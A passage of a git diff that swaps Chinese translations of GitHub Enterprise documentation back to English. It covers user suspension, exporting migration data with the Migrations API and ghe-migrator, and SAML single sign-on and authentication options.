reason to unsuspend the user. +![Unsuspend reason](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) -## 从命令行挂起用户 +## Suspending a user from the command line {% data reusables.enterprise_installation.ssh-into-instance %} -2. 使用要挂起的用户名运行 [ghe-user-suspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-suspend)。 +2. Run [ghe-user-suspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-suspend) with the username to suspend. ```shell $ ghe-user-suspend username ``` -## 为挂起的用户创建自定义消息 +## Creating a custom message for suspended users -您可以创建自定义消息，被挂起的用户会在尝试登录时看到此消息。 +You can create a custom message that suspended users will see when attempting to sign in. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %} -5. 单击 **Add message**。 ![Add message](/assets/images/enterprise/site-admin-settings/add-message.png) -6. 在 **Suspended user message** 框中输入您的消息。 您可以输入 Markdown，或者使用 Markdown 工具栏设置消息的样式。 ![Suspended user message](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) -7. 单击 **Suspended user message** 字段下的 **Preview** 按钮，查看显示的消息。 ![Preview 按钮](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) -8. 预览呈现的消息。 ![显示的已挂起用户消息](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) +5. Click **Add message**. +![Add message](/assets/images/enterprise/site-admin-settings/add-message.png) +6. Type your message into the **Suspended user message** box. You can type Markdown, or use the Markdown toolbar to style your message. +![Suspended user message](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) +7. Click the **Preview** button under the **Suspended user message** field to see the rendered message. +![Preview button](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) +8. Review the rendered message. +![Suspended user message rendered](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) {% data reusables.enterprise_site_admin_settings.save-changes %} -## 从命令行取消挂起用户 +## Unsuspending a user from the command line {% data reusables.enterprise_installation.ssh-into-instance %} -2. 使用要取消挂起的用户名运行 [ghe-user-unsuspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-unsuspend)。 +2. Run [ghe-user-unsuspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-unsuspend) with the username to unsuspend. ```shell $ ghe-user-unsuspend username ``` -## 延伸阅读 -- "[暂停用户](/rest/reference/enterprise-admin#suspend-a-user)" +## Further reading +- "[Suspend a user](/rest/reference/enterprise-admin#suspend-a-user)" diff --git a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md index 34b62c9b64..7154212cf8 100644 --- a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md +++ b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md @@ -1,6 +1,6 @@ --- -title: 从 GitHub.com 导出迁移数据 -intro: '您可以使用 API 选择要迁移的创建，然后生成可导入到 {% data variables.product.prodname_ghe_server %} 实例的迁移存档，从而从 {% data variables.product.prodname_dotcom_the_website %} 上的组织导出迁移数据。' +title: Exporting migration data from GitHub.com +intro: 'You can export migration data from an organization on {% data variables.product.prodname_dotcom_the_website %} by using the API to select repositories to migrate, then generating a migration archive that you can import into a {% data variables.product.prodname_ghe_server %} instance.' redirect_from: - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-com - /enterprise/admin/migrations/exporting-migration-data-from-githubcom @@ -17,63 +17,62 @@ topics: - API - Enterprise - Migration -shortTitle: 从 GitHub.com 导出数据 +shortTitle: Export data from GitHub.com --- +## Preparing the source organization on {% data variables.product.prodname_dotcom %} -## 在 {% data variables.product.prodname_dotcom %} 上准备源组织 +1. Ensure that you have [owner permissions](/articles/permission-levels-for-an-organization/) on the source organization's repositories. -1. 确保您在源组织的仓库上具有[所有者权限](/articles/permission-levels-for-an-organization/)。 - -2. 在 {% data variables.product.prodname_dotcom_the_website %} 上{% data reusables.enterprise_migrations.token-generation %} +2. {% data reusables.enterprise_migrations.token-generation %} on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise_migrations.make-a-list %} -## 导出组织的仓库 +## Exporting the organization's repositories {% data reusables.enterprise_migrations.fork-persistence %} -要从 {% data variables.product.prodname_dotcom_the_website %} 导出仓库数据，请使用 Migrations API。 +To export repository data from {% data variables.product.prodname_dotcom_the_website %}, use the Migrations API. -Migrations API 目前正处于预览阶段，这意味着端点和参数未来可能发生变化。 要访问 Migrations API，您必须在 `Accept` 标头中提供自定义[媒体类型](/rest/overview/media-types)：`application/vnd.github.wyandotte-preview+json`。 以下示例包括自定义媒体类型。 +The Migrations API is currently in a preview period, which means that the endpoints and parameters may change in the future. To access the Migrations API, you must provide a custom [media type](/rest/overview/media-types) in the `Accept` header: `application/vnd.github.wyandotte-preview+json`. The examples below include the custom media type. -## 生成迁移存档 +## Generating a migration archive {% data reusables.enterprise_migrations.locking-repositories %} -1. 向您的组织的成员发送通知，告诉他们您将执行迁移。 导出可能需要数分钟的时间，具体取决于要导出的仓库数量。 包括导入的完整迁移可能需要数小时的时间，因此我们建议执行试运行，以便确定完整过程所需的时间。 更多信息请参阅“[关于迁移](/enterprise/admin/migrations/about-migrations#types-of-migrations)”。 +1. Notify members of your organization that you'll be performing a migration. The export can take several minutes, depending on the number of repositories being exported. The full migration including import may take several hours so we recommend doing a trial run in order to determine how long the full process will take. For more information, see "[About Migrations](/enterprise/admin/migrations/about-migrations#types-of-migrations)." -2. 向迁移端点发送 `POST` 请求，开始迁移。 您需要： - * 身份验证的访问令牌。 - * 想要迁移的[仓库列表](/rest/reference/repos#list-organization-repositories)： +2. Start a migration by sending a `POST` request to the migration endpoint. You'll need: + * Your access token for authentication. + * A [list of the repositories](/rest/reference/repos#list-organization-repositories) you want to migrate: ```shell curl -H "Authorization: token GITHUB_ACCESS_TOKEN" -X POST \ -H "Accept: application/vnd.github.wyandotte-preview+json" \ -d'{"lock_repositories":true,"repositories":["orgname/reponame", "orgname/reponame"]}' \ https://api.github.com/orgs/orgname/migrations ``` - * 如果您想在迁移仓库之前先将其锁定，请确保 `lock_repositories` 设为 `true`。 强烈建议执行此操作。 - * 您可以向端点传递 `exclude_attachments: true`，排除文件附件。 {% data reusables.enterprise_migrations.exclude-file-attachments %}存档的最终大小必须小于 20 GB。 + * If you want to lock the repositories before migrating them, make sure `lock_repositories` is set to `true`. This is highly recommended. + * You can exclude file attachments by passing `exclude_attachments: true` to the endpoint. {% data reusables.enterprise_migrations.exclude-file-attachments %} The final archive size must be less than 20 GB. - 此请求将返回一个独一无二的 `id`，用于表示您的迁移。 后续调用 Migrations API 时需要使用此 id。 + This request returns a unique `id` which represents your migration. You'll need it for subsequent calls to the Migrations API. -3. 向迁移状态端点发送 `GET` 请求以提取迁移的状态。 您需要： - * 身份验证的访问令牌。 - * 迁移的唯一 `id`： +3. Send a `GET` request to the migration status endpoint to fetch the status of a migration. You'll need: + * Your access token for authentication. + * The unique `id` of the migration: ```shell curl -H "Authorization: token GITHUB_ACCESS_TOKEN" \ -H "Accept: application/vnd.github.wyandotte-preview+json" \ https://api.github.com/orgs/orgname/migrations/id ``` - 迁移可能处于以下状态之一： - * `pending`，表示迁移尚未开始。 - * `exporting`，表示迁移正在进行。 - * `exported`，表示迁移已成功完成。 - * `failed`，表示迁移失败。 + A migration can be in one of the following states: + * `pending`, which means the migration hasn't started yet. + * `exporting`, which means the migration is in progress. + * `exported`, which means the migration finished successfully. + * `failed`, which means the migration failed. -4. 在导出您的迁移后，请向迁移下载端点发送 `GET` 请求，下载迁移存档。 您需要： - * 身份验证的访问令牌。 - * 迁移的唯一 `id`： +4. After your migration has exported, download the migration archive by sending a `GET` request to the migration download endpoint. You'll need: + * Your access token for authentication. + * The unique `id` of the migration: ```shell curl -H "Authorization: token GITHUB_ACCESS_TOKEN" \ -H "Accept: application/vnd.github.wyandotte-preview+json" \ @@ -81,9 +80,9 @@ Migrations API 目前正处于预览阶段，这意味着端点和参数未来 https://api.github.com/orgs/orgname/migrations/id/archive ``` -5. 迁移存档将在七天后自动删除。 如果您更喜欢提前删除，可以向迁移存档删除端点发送 `DELETE` 请求。 您需要： - * 身份验证的访问令牌。 - * 迁移的唯一 `id`： +5. The migration archive is automatically deleted after seven days. If you would prefer to delete it sooner, you can send a `DELETE` request to the migration archive delete endpoint. You'll need: + * Your access token for authentication. + * The unique `id` of the migration: ```shell curl -H "Authorization: token GITHUB_ACCESS_TOKEN" -X DELETE \ -H "Accept: application/vnd.github.wyandotte-preview+json" \ diff --git a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md index 7a9d8da76f..16e63c47a3 100644 --- a/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md +++ b/translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: 从企业导出迁移数据 -intro: '要更改平台或从试用实例迁移到生产实例，可以通过准备实例、锁定仓库和生成迁移存档来从 {% data variables.product.prodname_ghe_server %} 实例导出迁移数据。' +title: Exporting migration data from your enterprise +intro: 'To change platforms or move from a trial instance to a production instance, you can export migration data from a {% data variables.product.prodname_ghe_server %} instance by preparing the instance, locking the repositories, and generating a migration archive.' redirect_from: - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-enterprise/ - /enterprise/admin/migrations/exporting-migration-data-from-github-enterprise-server @@ -17,42 +17,41 @@ topics: - API - Enterprise - Migration -shortTitle: 从企业导出 +shortTitle: Export from your enterprise --- +## Preparing the {% data variables.product.prodname_ghe_server %} source instance -## 准备 {% data variables.product.prodname_ghe_server %} 源实例 +1. Verify that you are a site administrator on the {% data variables.product.prodname_ghe_server %} source. The best way to do this is to verify that you can [SSH into the instance](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/). -1. 验证您在 {% data variables.product.prodname_ghe_server %} 源上是站点管理员。 最好的方式是验证您可以[通过 SSH 访问实例](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/)。 - -2. 在 {% data variables.product.prodname_ghe_server %} 源实例上{% data reusables.enterprise_migrations.token-generation %}。 +2. {% data reusables.enterprise_migrations.token-generation %} on the {% data variables.product.prodname_ghe_server %} source instance. {% data reusables.enterprise_migrations.make-a-list %} -## 导出 {% data variables.product.prodname_ghe_server %} 源仓库 +## Exporting the {% data variables.product.prodname_ghe_server %} source repositories {% data reusables.enterprise_migrations.locking-repositories %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. 要准备需要导出的仓库，请使用 `ghe-migrator add` 命令和仓库的 URL： - * 如果您要锁定仓库，请在命令后附加 `--lock`。 如果您执行的是试运行，则不需要 `--lock`。 +2. To prepare a repository for export, use the `ghe-migrator add` command with the repository's URL: + * If you're locking the repository, append the command with `--lock`. If you're performing a trial run, `--lock` is not needed. ```shell $ ghe-migrator add https://hostname/username/reponame --lock ``` - * 您可以将 `--exclude_attachments` 附加到命令，排除文件附件。 {% data reusables.enterprise_migrations.exclude-file-attachments %} - * 要一次准备多个将导出的仓库，请创建一个文本文件并在单独的行中列出每个仓库 URL，然后运行包含 `-i` 标志和您的文本文件路径的 `ghe-migrator add` 命令。 + * You can exclude file attachments by appending `--exclude_attachments` to the command. {% data reusables.enterprise_migrations.exclude-file-attachments %} + * To prepare multiple repositories at once for export, create a text file listing each repository URL on a separate line, and run the `ghe-migrator add` command with the `-i` flag and the path to your text file. ```shell $ ghe-migrator add -i PATH/TO/YOUR/REPOSITORY_URLS.txt ``` -3. 出现提示时，请输入您的 {% data variables.product.prodname_ghe_server %} 用户名： +3. When prompted, enter your {% data variables.product.prodname_ghe_server %} username: ```shell Enter username authorized for migration: admin ``` -4. 出现输入个人访问令牌的提示时，请输入您在“[准备 {% data variables.product.prodname_ghe_server %} 源实例](#preparing-the-github-enterprise-server-source-instance)”中创建的访问令牌： +4. When prompted for a personal access token, enter the access token you created in "[Preparing the {% data variables.product.prodname_ghe_server %} source instance](#preparing-the-github-enterprise-server-source-instance)": ```shell Enter personal access token: ************** ``` -5. 在 `ghe-migrator add` 完成后，它将打印自身生成并用于标识此导出的唯一的“迁移 GUID”以及添加到导出中的资源列表。 在后续的 `ghe-migrator add` 和 `ghe-migrator export` 步骤中，您将使用它生成的迁移 GUID 指示 `ghe-migrator` 继续在同一个导出上操作。 +5. When `ghe-migrator add` has finished it will print the unique "Migration GUID" that it generated to identify this export as well as a list of the resources that were added to the export. You will use the Migration GUID that it generated in subsequent `ghe-migrator add` and `ghe-migrator export` steps to tell `ghe-migrator` to continue operating on the same export. ```shell > 101 models added to export > Migration GUID: example-migration-guid @@ -74,32 +73,32 @@ shortTitle: 从企业导出 > attachments | 4 > projects | 2 ``` - 每次您添加包含现有迁移 GUID 的新仓库时，它都会更新现有导出。 如果您在没有迁移 GUID的情况下再次运行 `ghe-migrator add`，将会启动新的导出并生成新的迁移 GUID。 **开始准备要导入的迁移时，不要再次使用在导出过程中生成的迁移 GUID**。 + Each time you add a new repository with an existing Migration GUID it will update the existing export. If you run `ghe-migrator add` again without a Migration GUID it will start a new export and generate a new Migration GUID. **Do not re-use the Migration GUID generated during an export when you start preparing your migration for import**. -3. 如果您锁定了源仓库，则可以使用 `ghe-migrator target_url` 命令，在链接到仓库新位置的仓库页面上设置自定义锁定消息。 传递源仓库 URL、目标仓库 URL 和第 5 步中的迁移 GUID： +3. If you locked the source repository, you can use the `ghe-migrator target_url` command to set a custom lock message on the repository page that links to the repository's new location. Pass the source repository URL, the target repository URL, and the Migration GUID from Step 5: ```shell $ ghe-migrator target_url https://hostname/username/reponame https://target_hostname/target_username/target_reponame -g MIGRATION_GUID ``` -6. 要向同一个导出添加更多仓库，请使用包含 `-g` 标志的 `ghe-migrator add` 命令。 您需要传入新仓库 URL 和第 5 步中的迁移 GUID： +6. To add more repositories to the same export, use the `ghe-migrator add` command with the `-g` flag. You'll pass in the new repository URL and the Migration GUID from Step 5: ```shell $ ghe-migrator add https://hostname/username/other_reponame -g MIGRATION_GUID --lock ``` -7. 添加完仓库后，请使用包含 `-g` 标志和第 5 步中的迁移 GUID 的 `ghe-migrator export` 命令生成迁移存档： +7. When you've finished adding repositories, generate the migration archive using the `ghe-migrator export` command with the `-g` flag and the Migration GUID from Step 5: ```shell $ ghe-migrator export -g MIGRATION_GUID > Archive saved to: /data/github/current/tmp/MIGRATION_GUID.tar.gz ``` * {% data reusables.enterprise_migrations.specify-staging-path %} -8. 关闭与 {% data variables.product.product_location %} 的连接： +8. Close the connection to {% data variables.product.product_location %}: ```shell $ exit > logout > Connection to hostname closed. ``` -9. 使用 [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) 命令将迁移存档复制到您的计算机。 存档文件将使用迁移 GUID 命名： +9. Copy the migration archive to your computer using the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command. The archive file will be named with the Migration GUID: ```shell $ scp -P 122 admin@hostname:/data/github/current/tmp/MIGRATION_GUID.tar.gz ~/Desktop ``` diff --git a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md index 4dfcef8fe3..2cd4588167 100644 --- a/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md +++ b/translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md @@ -1,5 +1,5 @@ --- -title: 关于使用 SAML 单点登录进行身份验证 +title: About authentication with SAML single sign-on intro: 'You can access {% ifversion ghae %}{% data variables.product.product_location %}{% elsif fpt %}an organization that uses SAML single sign-on (SSO){% endif %} by authenticating {% ifversion ghae %}with SAML single sign-on (SSO) {% endif %}through an identity provider (IdP).{% ifversion fpt or ghec %} After you authenticate with the IdP successfully from {% data variables.product.product_name %}, you must authorize any personal access token, SSH key, or {% data variables.product.prodname_oauth_app %} you would like to access the organization''s resources.{% endif %}' product: '{% data reusables.gated-features.saml-sso %}' redirect_from: @@ -12,51 +12,50 @@ versions: ghec: '*' topics: - SSO -shortTitle: SAML 单点登录 +shortTitle: SAML single sign-on --- - -## 关于使用 SAML SSO 进行身份验证 +## About authentication with SAML SSO {% ifversion ghae %} -SAML SSO 允许企业所有者从 SAML IdP 集中控制和安全访问 {% data variables.product.product_name %}。 在浏览器中访问 {% data variables.product.product_location %} 时，{% data variables.product.product_name %} 会将用户重定向到您的 IdP 进行身份验证。 在使用 IdP 上的帐户成功进行身份验证后，IdP 会将您重定向回 {% data variables.product.product_location %}。 {% data variables.product.product_name %} 将验证 IdP 的响应，然后授予访问权限。 +SAML SSO allows an enterprise owner to centrally control and secure access to {% data variables.product.product_name %} from a SAML IdP. When you visit {% data variables.product.product_location %} in a browser, {% data variables.product.product_name %} will redirect you to your IdP to authenticate. After you successfully authenticate with an account on the IdP, the IdP redirects you back to {% data variables.product.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access. {% data reusables.saml.you-must-periodically-authenticate %} -如果您无法访问 {% data variables.product.product_name %}，请与本地企业所有者或 {% data variables.product.product_name %} 的管理员联系。 您可以在 {% data variables.product.product_name %} 上的任何页面底部单击 **Support（支持）**找到企业的联系信息。 {% data variables.product.company_short %} 和 {% data variables.contact.github_support %} 无法访问您的 IdP，并且无法解决身份验证问题。 +If you can't access {% data variables.product.product_name %}, contact your local enterprise owner or administrator for {% data variables.product.product_name %}. You may be able to locate contact information for your enterprise by clicking **Support** at the bottom of any page on {% data variables.product.product_name %}. {% data variables.product.company_short %} and {% data variables.contact.github_support %} do not have access to your IdP, and cannot troubleshoot authentication problems. {% endif %} {% ifversion fpt or ghec %} -{% data reusables.saml.dotcom-saml-explanation %} 组织所有者可以邀请您在 {% data variables.product.prodname_dotcom %} 上的用户帐户加入其使用 SAML SSO 的组织，这样您可以对该组织做出贡献，并且保留您在 {% data variables.product.prodname_dotcom %} 上的现有身份和贡献。 +{% data reusables.saml.dotcom-saml-explanation %} Organization owners can invite your user account on {% data variables.product.prodname_dotcom %} to join their organization that uses SAML SSO, which allows you to contribute to the organization and retain your existing identity and contributions on {% data variables.product.prodname_dotcom %}. If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will use a new account that is provisioned for you. {% data reusables.enterprise-accounts.emu-more-info-account %} -在访问使用 SAML SSO 的组织中的资源时，{% data variables.product.prodname_dotcom %} 会将您重定向到组织的 SAML IdP 进行身份验证。 在 IdP 上成功验证您的帐户后，IdP 会将您重定向回到 {% data variables.product.prodname_dotcom %}，您可以在那里访问组织的资源。 +When you access resources within an organization that uses SAML SSO, {% data variables.product.prodname_dotcom %} will redirect you to the organization's SAML IdP to authenticate. After you successfully authenticate with your account on the IdP, the IdP redirects you back to {% data variables.product.prodname_dotcom %}, where you can access the organization's resources. {% data reusables.saml.outside-collaborators-exemption %} -如果您最近在浏览器中使用组织的 SAML IdP 进行过身份验证，则在访问使用 SAML SSO 的 {% data variables.product.prodname_dotcom %} 组织时会自动获得授权。 如果您最近没有在浏览器中使用组织的 SAML IdP 进行身份验证，则必须在 SAML IdP 进行身份验证后才可访问组织。 +If you have recently authenticated with your organization's SAML IdP in your browser, you are automatically authorized when you access a {% data variables.product.prodname_dotcom %} organization that uses SAML SSO. If you haven't recently authenticated with your organization's SAML IdP in your browser, you must authenticate at the SAML IdP before you can access the organization. {% data reusables.saml.you-must-periodically-authenticate %} -要在命令行上使用 API 或 Git 访问使用 SAML SSO 的组织中受保护的内容，需要使用授权的 HTTPS 个人访问令牌或授权的 SSH 密钥。 +To use the API or Git on the command line to access protected content in an organization that uses SAML SSO, you will need to use an authorized personal access token over HTTPS or an authorized SSH key. -如果没有个人访问令牌或 SSH 密钥，可以创建用于命令行的个人访问令牌或生成新的 SSH 密钥。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”或“[生成新的 SSH 密钥并添加到 ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 +If you don't have a personal access token or an SSH key, you can create a personal access token for the command line or generate a new SSH key. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" or "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." -要对使用或实施 SAML SSO 的组织使用新的或现有的个人访问令牌或 SSH 密钥，需要授权该令牌或授权 SSH 密钥用于 SAML SSO 组织。 更多信息请参阅“[授权个人访问令牌用于 SAML 单点登录](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)”或“[授权 SSH 密钥用于 SAML 单点登录](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)”。 +To use a new or existing personal access token or SSH key with an organization that uses or enforces SAML SSO, you will need to authorize the token or authorize the SSH key for use with a SAML SSO organization. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)." -## 关于 {% data variables.product.prodname_oauth_apps %} 和 SAML SSO +## About {% data variables.product.prodname_oauth_apps %} and SAML SSO -每次授权 {% data variables.product.prodname_oauth_app %} 访问使用或实施 SAML SSO 的组织时，您必须有一个活动的 SAML 会话。 +You must have an active SAML session each time you authorize an {% data variables.product.prodname_oauth_app %} to access an organization that uses or enforces SAML SSO. -在企业或组织所有者为组织启用或实施 SAML SSO 后，您必须重新授权先前已授权访问组织的任何 {% data variables.product.prodname_oauth_app %}。 要查看您已授权或重新授权 {% data variables.product.prodname_oauth_app %} 的 {% data variables.product.prodname_oauth_apps %}，请访问您的 [{% data variables.product.prodname_oauth_apps %} 页面](https://github.com/settings/applications)。 +After an enterprise or organization owner enables or enforces SAML SSO for an organization, you must reauthorize any {% data variables.product.prodname_oauth_app %} that you previously authorized to access the organization. To see the {% data variables.product.prodname_oauth_apps %} you've authorized or reauthorize an {% data variables.product.prodname_oauth_app %}, visit your [{% data variables.product.prodname_oauth_apps %} page](https://github.com/settings/applications). {% endif %} -## 延伸阅读 +## Further reading {% ifversion fpt or ghec %}- "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)"{% endif %} -{% ifversion ghae %}- "[关于企业的身份和访问权限管理](/admin/authentication/about-identity-and-access-management-for-your-enterprise)"{% endif %} +{% ifversion ghae %}- "[About identity and access management for your enterprise](/admin/authentication/about-identity-and-access-management-for-your-enterprise)"{% endif %} diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md index c68bc8a8be..000a98288d 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md @@ -1,6 +1,6 @@ --- -title: 关于向 GitHub 验证 -intro: '您可以根据身份验证位置使用不同的凭据，向 {% data variables.product.product_name %} 验证来安全地访问帐户的资源。' +title: About authentication to GitHub +intro: 'You can securely access your account''s resources by authenticating to {% data variables.product.product_name %}, using different credentials depending on where you authenticate.' versions: fpt: '*' ghes: '*' @@ -12,85 +12,84 @@ topics: redirect_from: - /github/authenticating-to-github/about-authentication-to-github - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github -shortTitle: 向 GitHub 验证 +shortTitle: Authentication to GitHub --- +## About authentication to {% data variables.product.prodname_dotcom %} -## 关于 {% data variables.product.prodname_dotcom %} 向验证身份 +To keep your account secure, you must authenticate before you can access{% ifversion not ghae %} certain{% endif %} resources on {% data variables.product.product_name %}. When you authenticate to {% data variables.product.product_name %}, you supply or confirm credentials that are unique to you to prove that you are exactly who you declare to be. -为确保帐户安全，必须先进行身份验证，然后才能访问 {% data variables.product.product_name %} 上的{% ifversion not ghae %}某些{% endif %}资源。 向 {% data variables.product.product_name %} 验证时，您提供或确认您唯一的凭据，以证明您就是声明者。 +You can access your resources in {% data variables.product.product_name %} in a variety of ways: in the browser, via {% data variables.product.prodname_desktop %} or another desktop application, with the API, or via the command line. Each way of accessing {% data variables.product.product_name %} supports different modes of authentication. -您可以通过多种方式访问 {% data variables.product.product_name %} 中的资源：浏览器中、通过 {% data variables.product.prodname_desktop %} 或其他桌面应用程序、使用 API 或通过命令行。 每种访问 {% data variables.product.product_name %} 的方式都支持不同的身份验证模式。 +- {% ifversion ghae %}Your identity provider (IdP){% else %}Username and password with two-factor authentication{% endif %} +- Personal access token +- SSH key -- {% ifversion ghae %}您的身份提供程序 (IdP){% else %}使用双重身份验证的用户名和密码{% endif %} -- 个人访问令牌 -- SSH 密钥 +## Authenticating in your browser -## 在浏览器中进行身份验证 - -您可以 {% ifversion ghae %}使用 IdP 在浏览器中向 {% data variables.product.product_name %} 验证。 更多信息请参阅“[关于使用 SAML 单点登录进行身份验证](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)”{% else %}。 +You can authenticate to {% data variables.product.product_name %} in your browser {% ifversion ghae %}using your IdP. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."{% else %}in different ways. {% ifversion fpt or ghec %} -- If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[Authenticating as a managed user](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} If you're not a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate using your browser on {% data variables.product.prodname_dotcom_the_website %}. +- If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[Authenticating as a managed user](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} If you're not a member of an {% data variables.product.prodname_emu_enterprise %}, you will authenticate using your browser on {% data variables.product.prodname_dotcom_the_website %}. {% endif %} -- **仅用户名和密码** - - 在 {% data variables.product.product_name %} 上创建用户帐户时，您将创建一个密码。 我们建议您使用密码管理器生成随机且唯一的密码。 更多信息请参阅“[创建强式密码](/github/authenticating-to-github/creating-a-strong-password)”。 -- **双重身份验证 (2FA)**（推荐） - - 如果您启用 2FA，我们还将提示您提供应用程序在移动设备上生成的代码，或在您成功输入用户名和密码后以短信 (SMS) 方式发送的代码。 更多信息请参阅“[使用双重身份验证访问 {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)”。 - - 除了使用移动应用程序或短信进行身份验证外，您还可以选择使用 WebAuthn 添加采用安全密钥的辅助身份验证方法。 更多信息请参阅“[使用安全密钥配置双重身份验证](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)”。 +- **Username and password only** + - You'll create a password when you create your user account on {% data variables.product.product_name %}. We recommend that you use a password manager to generate a random and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/creating-a-strong-password)." +- **Two-factor authentication (2FA)** (recommended) + - If you enable 2FA, we'll also prompt you to provide a code that's generated by an application on your mobile device or sent as a text message (SMS) after you successfully enter your username and password. For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)." + - In addition to authentication with a mobile application or a text message, you can optionally add a secondary method of authentication with a security key using WebAuthn. For more information, see "[Configuring two-factor authentication using a security key](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)." {% endif %} -## 向 {% data variables.product.prodname_desktop %} 验证身份 +## Authenticating with {% data variables.product.prodname_desktop %} -您可以使用浏览器向 {% data variables.product.prodname_desktop %} 验证身份。 更多信息请参阅“[向 {% data variables.product.prodname_dotcom %} 验证](/desktop/getting-started-with-github-desktop/authenticating-to-github)”。 +You can authenticate with {% data variables.product.prodname_desktop %} using your browser. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." -## 使用 API 验证身份 +## Authenticating with the API -您可以通过不同方式使用 API 进行身份验证。 +You can authenticate with the API in different ways. -- **个人访问令牌** - - 在有限的情况（如测试）下可以使用个人访问令牌访问 API。 使用个人访问令牌可让您随时撤销访问。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 -- **Web 应用程序流程** - - 对于生产中的 OAuth 应用程序，应使用 Web 应用程序流程进行身份验证。 更多信息请参阅“[授权 OAuth 应用程序](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)”。 -- **GitHub 应用程序** - - 对于生产中的 GitHub 应用程序，您应代表应用安装进行身份验证。 